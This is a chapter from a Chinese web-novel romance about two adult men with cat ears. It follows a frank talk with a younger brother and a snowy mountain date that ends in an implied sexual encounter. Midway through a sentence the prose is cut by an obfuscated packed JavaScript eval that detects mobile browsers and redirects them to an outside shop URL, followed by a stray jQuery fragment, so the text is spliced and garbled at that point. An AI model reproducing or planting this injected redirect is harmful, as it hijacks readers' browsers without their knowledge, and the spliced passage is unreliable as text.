屋里安安静静的,灯只开了客厅一盏,光线偏暗,骆芃房间的门缝底下倒是透出一小截光。
骆野换了鞋,轻手轻脚走过去,在房门口顿了顿。
刚想抬手敲门,门先一步从里面拉开了。
换上居家睡衣的骆芃站在门后,猫耳微微耷拉着,尾巴自然垂落,发出闷闷的、带着点不自在的声音:“……你回来了。”
骆野换上和颜悦色的表情:“嗯,我给你打包了点菜,你要吃点吗?”
“我现在吃饱了,明天中午吃。”骆芃说,尾巴左右摇晃了一下。
骆野微微歪头,刻意凑近,稳稳对上他躲闪的视线。骆芃无处闪躲,只能直直与他对视。
两人就这么安静地望着彼此。
骆芃渐渐竖起尾巴,侧身让出走进卧室的道儿:“聊聊吧。”
骆野走进去,拉过骆芃的课桌椅坐下,熟门熟路地打开抽屉,拿出一盒白巧克力棒。
这是骆芃特意为他准备的,这样他来检查作业的时候不会觉得无聊。
池枝越曾说过,骆芃很关心他。
是啊,骆芃就是很关心他,想把最好的东西送给他。
所以他更不能瞒着骆芃,必须得好好地聊清楚。
骆芃一言不发坐在床沿,微微朝他这边倾过身子。
动作和小时候求和好时一模一样。
骆野拆开巧克力的包装盒,垂着眼轻声开口::“我就是怕你不能立马接受,所以才决定之后好好地见一面说清楚。”
骆芃一动不动了。
骆野轻笑,耸了耸肩:“但我们芃芃太聪明了,一下子就发现了。”
骆芃心情明显缓和不少,尾巴摆到前面,指尖无意识摩挲着尾尖:“所以,你真的想清楚了?你们打算一直交往下去?”
骆野笑了笑:“未来的事谁能说的准呢。”
骆芃疑惑的眼神扫过去:“你们大人不应该很坚定地说能够长久吗?”
骆野叼着巧克力棒,声音顿了顿:“你当你哥还是十几岁啊,搞那么热血。少年夫妻还有可能七年之痒,我和他都没到七个月呢。”
少年眼底的锐利褪去不少,肩线也放松下去,手撑在床单上:“你能说出这话,就说明没有被冲昏头脑,不容易被骗,我放心了。”
骆野哭笑不得:“你到底把你哥当什么了,我才没那么好骗。”
“哥,你太容易心软了。”骆芃又成了“老头儿”样絮絮叨叨,“许梦桦他哥明显知道你这点,说话做事都装弱势,你要小心,不要上当了。”
骆野心说:但在交往这件事上,对方确实是弱势啊,确实是你哥愧对池枝越。
人家掏心掏肺对待自己,自己连最初的告白都是虚假的。
骆野嘴上温声应下:“放心,他人很好。”
“我知道,”骆芃声音低了点,“虽然可能也是看在你的面子,但他确实帮我说话了。”
骆芃指的是池枝越要请律师那段,确实够霸气的。
哪个青春期的小孩不想遇到这种电视剧级别的台词,换做小时候的骆野,高低去班里学一段。
骆芃表面没反应,实际上心里已经记下了,好感度蹭蹭往上升。
骆芃:“但他当着我面亲你,这点我很不喜欢。”
骆野:“……”
好感度肉眼可见地下降了。
骆野没法反驳,咔嚓咔嚓地啃着巧克力棒。
十几秒后,骆芃坐正身子,手掌下的床单攥出一层褶:“你们这个礼拜要去约会吗?”
“嗯。”骆野点头。
骆芃猫耳轻轻颤动两下,身后的尾巴弯成紧绷的弯钩,淡淡开口:“那就去吧。”
没等骆野松口气,骆芃又开口:“还有一个问题。”
骆野点头:“你说。”
骆芃:“你在上面还是下面。”
骆野:“…………???”
骆野平复的心情一下子荡漾起来,耳朵跟着吼叫一起蹦出来:“你说什么呢?!”
骆芃淡定睨他一眼,条理清晰地科普:“要是两个男人发生关系,是要分出1和0的。”
骆野:“……”
什么1啊0的?!谁教的?!谁啊?!
骆野在心里发出尖锐的爆鸣,捂住骆芃的嘴,头皮发麻地压低声音:“谁教你的?!”
“许嗯哈。”骆芃含糊地回答。
但骆野听懂了,是许梦桦。
这两人在地铁上都聊了什么啊?!
骆野单手扶额,再看骆芃。
骆芃的眼神里没有对这件事的调笑,只有对知识的渴望,似乎有话要说。
骆野无奈松开手。
骆芃继续正经地复述:“她说她哥是1,我说你是1,她说她哥健身,我说你也健身。”
骆野:“……”
你们俩到底在地铁里比什么东西啊?
迎着骆芃满含期待的目光,骆野耳尖通红,轻咳两声掩饰尴尬:“大人的事小孩别管。”
骆芃“哦”了一声,遗憾地挪开了眼睛。
这件事告一段落,但骆芃这番话像根缠人的藤蔓,顺着脚踝一点点攀爬上骆野的心口,在他心里绕来绕去。
夜里,骆野在床上翻来覆去睡不着,盯着天花板反复琢磨。
按理来说,他肯定是1。
上次是发热期,他无力招架,让池枝越乘虚而入了,如果是平常,呵呵,真不好说。
退一百万步说他也不可能是0号,池枝越那么大个保温杯……
他会劈成两半吧?
骆野下意识抬手,用手在自己身前比划尺寸,指尖贴着腹部,大拇指一路往上,最终停在肚脐眼上方。
骆野沉默了。这人到底带着什么玩意儿上班啊?
他打开手机换心情。
刚开屏幕,大数据精准推送了一条医生连麦网友的视频,标题为:《好友往那里塞了个金卤灯泡,来医院时哗啦啦流着血》
骆野:“…………”
热评第一条更是安慰道:挺好的,这下他的眼里有光了。
骆野:“。”
他火速关掉视频,整个人缩进被窝里闷着。
五分钟后,满头大汗的骆野猛地坐起身:“不是,我为什么会跟他做啊?”
对啊。他又不会和池枝越有/性/生活,用不着考虑这种事情啊?他不用上池枝越,他也不会屁,股开花。
“嘿,自己吓自己。”想明白的骆野心情好了不少,蒙紧被子,心安理得沉沉睡去。
第二天清晨,骆野买好早餐回家,拿出手机给池枝越发消息。
【骆野】:讲好了
【池枝越】:说开了?
【骆野】:嗯哼顺利解决【吹口哨表情】
【池枝越】:【海豹拍手表情】
【骆野】:你现在在干嘛呢?
【池枝越】:医院复查
【骆野】:?
【骆野】:哦头疼
【池枝越】:嗯
池枝越一直没提,他都忘了这茬了。
骆野赶紧发过去。
【骆野】:那还能登山吗?实在不行改天吧
【池枝越】:不影响,最近轻了很多,医生反而让我多出去走走
【骆野】:那行
【骆野】:有症状了和我说
【池枝越】:好【点头表情】
【骆野】:【戴墨镜得意表情】
骆芃正好洗完脸出来,随手端起豆浆,喝了一口说:“和许梦桦她哥聊天。”
“嗯。”骆野抬眼看向他,“你就不能换个简短点的称呼?每次都念这么长一串。”
“这样称呼刚好。”骆芃夹起一块烧麦,语气冷淡,“观察期。”
观察期都来了。骆野无话可说,又觉得弟弟可爱,摸了摸头顶。
骆芃没有躲开,舒服地轻轻哼唧了一声。
早餐吃完,两人一起收拾碗筷。骆芃洗碗的时候,随口问起周日登山的各项准备。
骆野早就收拾妥当,登山包安稳地放在床边,到时候出门背上就能走。
“你们要过夜吗?”骆芃问。
“应该不会,”骆野算着时间,“下午进山里,最迟八点多就下山了。”
“哦。”骆芃搓了两下洗洁精,“你小心点。”
“到时候给你拍漂亮的风景照。”骆野把干净的碗收进架子里,关了门,“要不我把你照片带过去,这样还能给你拍合照。”
“行。”骆芃点了点头,“你看上去很兴奋。”
骆野摸着自己的脸,不以为意:“有吗?还好吧。”
骆芃指向他后面的尾巴。
骆野的尾巴早已兴奋地翘得老高,说起山野自然,就维持着雀跃昂扬的姿态。
他向来如此。从小偏爱山野自然,凡是天地间原生的美景,在他眼里都自带独一份的诗意与温柔。
“我很喜欢杰拉尔德·达雷尔的《没有你,万般精彩皆枉然》。”骆野轻声说。
骆芃点头,熟练地复述时间:“你在上个月十号发布的视频里十三分五十二秒说过,还读了一段,我见过千种日出日落,在大地上森林与高山都被笼罩在蜜色光泽之中……”
说到此处,骆芃的声音低了下去。
骆野望着洗手台流水打着漩涡汇入下水道,接着缓缓接续后文:“在海里为一团五彩云朵平添上一道殷红,在广阔的大洋之中潮汐潮落……”
“我见过蜂鸟如同宝石一般围绕着开红花的树在闪烁,如陀螺一般哼鸣作响。我见过飞鱼如水银一般穿越蓝色海浪,用他们的尾翼在海面上划下银色痕迹。”
“我曾置身于温润如奶,柔顺如丝的水中,周围有海豚做我的客人。我遇到过千种不同的动物,目睹过千般绝妙的事物……然而——”
“没有你,我做了什么都是失落。有了你,我做什么都是收获。”
“为了有你一分钟的相伴,我愿把这一切都放弃,为你的笑语,你的声音,你的眼睛……”
悠扬的钢琴曲从车载音响里流淌而出,男主持人念完文段最后一句,嗓音温润轻柔:“节选《没有你,万般精彩皆枉然》,作者杰拉尔德·达雷尔。谢谢这位听众的投稿,让我们领略到了如此美好的文字,接下来是随身听歌环节,为大家播放一首经典歌曲《红线》。”
音响里随即响起轻快明朗的鼓点,紧接着是慵懒洒脱的吉他旋律,歌声伴着疾驰向前的车速,像一场公路之旅。
坐在副驾驶位的骆野望着窗外的漫山素白,心间满是欢喜。
目前为止,约会一切顺利。
早上没堵车,和池枝越准点碰面,一起吃了个中饭,下午一点租借辆山地车前往朝华山。
唯一可惜的是,现在是冬天,一切如春的景致在此刻都成白雪之下。
越往大山靠近,白雪覆盖的越发多。偶尔能看见裸露的山石覆着薄冰,在光线下泛着冷亮的光,有几只鸟雀从林间掠过。
这样清冷幽静的深山,挺格外适合修仙之人隐居修行,哪怕渡劫飞升,也劈不到花花草草。
骆野忍不住念叨着:“要是春天来就好了。”
专心驾车的池枝越侧眸睨了他一眼,低低轻笑:“这就已经开始盘算下次春天的约会了?”
骆野:“……不是这意思。”
汽车很快开进山脚,停车位刚巧还差一个就停满了。
池枝越车技娴熟,丝滑平稳地倒车入库,一气呵成停妥车辆。
“今天三个绿灯,停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467322|197343||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车位也刚刚好,完全是好兆头啊,约会肯定能成。”
骆野高兴地解开安全带,正要开门,池枝越拉住了他的胳膊。
“等等,你先戴上帽子。一开始上山挺冷的。”
池枝越从后座背包里取出一顶毛绒保暖帽,替他扣好下摆的防风扣。
骆野抬眼看向车内后视镜,她的整张脸被蓬松柔软的绒毛圈住,像极了东北挂历上的年画娃娃。
只不过他的帽子是新潮的黑红渐,帽顶还有凸起的猫耳,与他绿眼眸形成绝妙的撞色。
骆野对着镜子左右打量,浑身别扭:“……这对吗?我爬山都没戴过这种东西。”
“最近很流行。”池枝越淡淡开口。
骆野目光落在对面的人身上。
池枝越一身黄蓝拼色登山服,戴着防风护目镜,头上空空荡荡,什么保暖物件都没戴,眉毛一挑,帅的安然自得。
骆野:“……那你为什么不戴,我怎么感觉你在整我?”
池枝越毫不心虚地凑过来,趁骆野没反应过来,在挤起来的脸颊上啄了一口:“我觉得这个很适合你就买了,多好看啊。”
“你果然另有所图,”骆野一把摘下毛绒帽推开车门,下车前郑重警告,“今天就是来爬山的,不准动嘴。”
池枝越笑着拿起帽子,跟着走出去,关了门。
骆野背包在前面走,池枝越几步就跟上了,拉起他的手,带着笑声说:“那我不能说话了吗?”
“说话还是能说的。”骆野斜睨他一眼,把外套拉链一路拉到顶端,下巴缩进衣领里,“这里人来人往的,不许做过分亲密的举动。”
池枝越顿了顿,莞尔一笑:“意思是只要人少了就可以?”
骆野:“……”这人怎么油盐不进的。
骆野懒得解释了,不予回答。
好在池枝越也没有强行做哪些事,两人正常地聊着公司领导的事,很快到达了检票处。
检票处旁设有直达山腰的缆车,他们跟着一众登山佬,踏上了山间石阶步道。
越往山上,空气越清冽,带着雪和松针的冷香,扑面而来。
两小时后,他们俩到达半山腰,骆野扶着冰凉的山石喘了口气,站在观景处眺望山下。
盘山小路蜿蜒隐在雪色里,山脚的村落缩成零星的色块,屋顶覆着白雪,偶尔飘出几缕淡青色的炊烟,在冷空气中缓缓散开
漫山的林木覆着一层薄雪,松针被雪压得低垂,却绿得苍劲。风一吹便簌簌落下细雪,在半空飘成白雾。
骆野从手机壳后取出骆芃的学生照,对着一望无垠的雪白,拍了一张照片,接着继续往上走。
他们因为要拍照,走的挺慢的,很快就脱离了登山队伍。
又徒步了两个小时,骆野体力渐渐透支,之后一手拄着登山杖,另一只手攥着池枝越的手借力向上。
好不容易抵达第二个山顶观景台,二人靠着厚重石块短暂歇息。
池枝越从包里拿出最后一瓶水,自己喝了一口,又递到骆野嘴前。
骆野仰头就饮,模样如同巢中雏鸟,少许水珠顺着唇角滑落,滴落在积雪里。
池枝越盖上瓶盖,用手背擦掉骆野的水渍。
骆野理所当然地点头,感谢:“谢谢。”
池枝越指尖摩挲着骆野温热的掌心,脚步轻跨登上更高一阶台阶,低声开口:“现在人少了。”
“啊?”骆野茫然地往身后山下望去。
这段路确实只剩下他们两个人了。
“人少了。”池枝越又重复了一遍。
“是少了,怎么了?”骆野依旧没反应过来。
池枝越眉梢轻挑,缓缓俯身凑近:“那我是不是可以动嘴了。”
骆野:“……”
骆野压根没说话,池枝越已经动嘴了,舌尖十分精准地蹭过他的嘴唇,像是喝掉他多余的水分。
骆野本想推开池枝越,手都搭在肩上了,但因为爬山,心跳快得厉害,无意识地呜咽一声,唇齿就这么纠缠了起来。
分开时,骆野唇角挂着一丝浅浅银线,脸颊被山间冷风与燥热烘得绯红发烫。
骆野擦了擦嘴,望着池枝越得逞的笑眼,怀疑了:“你不会心里念了四小时了吧?”
“嗯。”池枝越没有否认,捧着他的脸使劲亲,从眼尾亲到脸颊,最后再在嘴唇落下一个吻收尾,“刚刚好多人说我们像情侣呢,很般配。”
“还不都是你故意的。”骆野嘟嘟囔囔地说。
他们上山的路上一直靠在一起,几个热心的路人跟他们闲谈,骆野没反应过来,池枝越直接出柜了,牵着他的手说在交往。
那些人震惊了几秒,夸他们俩很般配。
骆野严重怀疑就是这顿夸奖,让池枝越肾上腺素起来了,在他累成二逼的时候,池枝越还有心情亲嘴。
骆野又是累,又被狂热地亲了,整个人晕乎乎的:“嗯……我们继续走吧。”
池枝越一动没动,轻声说:“一般情侣在下山后都会留下纪念意义的东西。”
骆野:“嗯。”
池枝越:“所以我们待会要不要也做点什么?”
骆野:“嗯。”
池枝越:“我做什么都可以?”
这荒山野岭的也做不了什么过分的事,骆野想也没想地点头:“嗯。”
五小时后,躺在车内浑身脱力的骆野,目光涣散地瞥到散落在一旁的裤子。
裤子下压着一片拆开的“Trojan”的包装。
骆野眼睛徐徐往上。
在彻底闭眼前,脑海瞬间回溯到这句轻飘飘的“嗯”上。
如果能回到五小时前,他多想死死捂住自己的嘴,崩溃呐喊:“荒郊野岭是做不了,但你们有车啊!”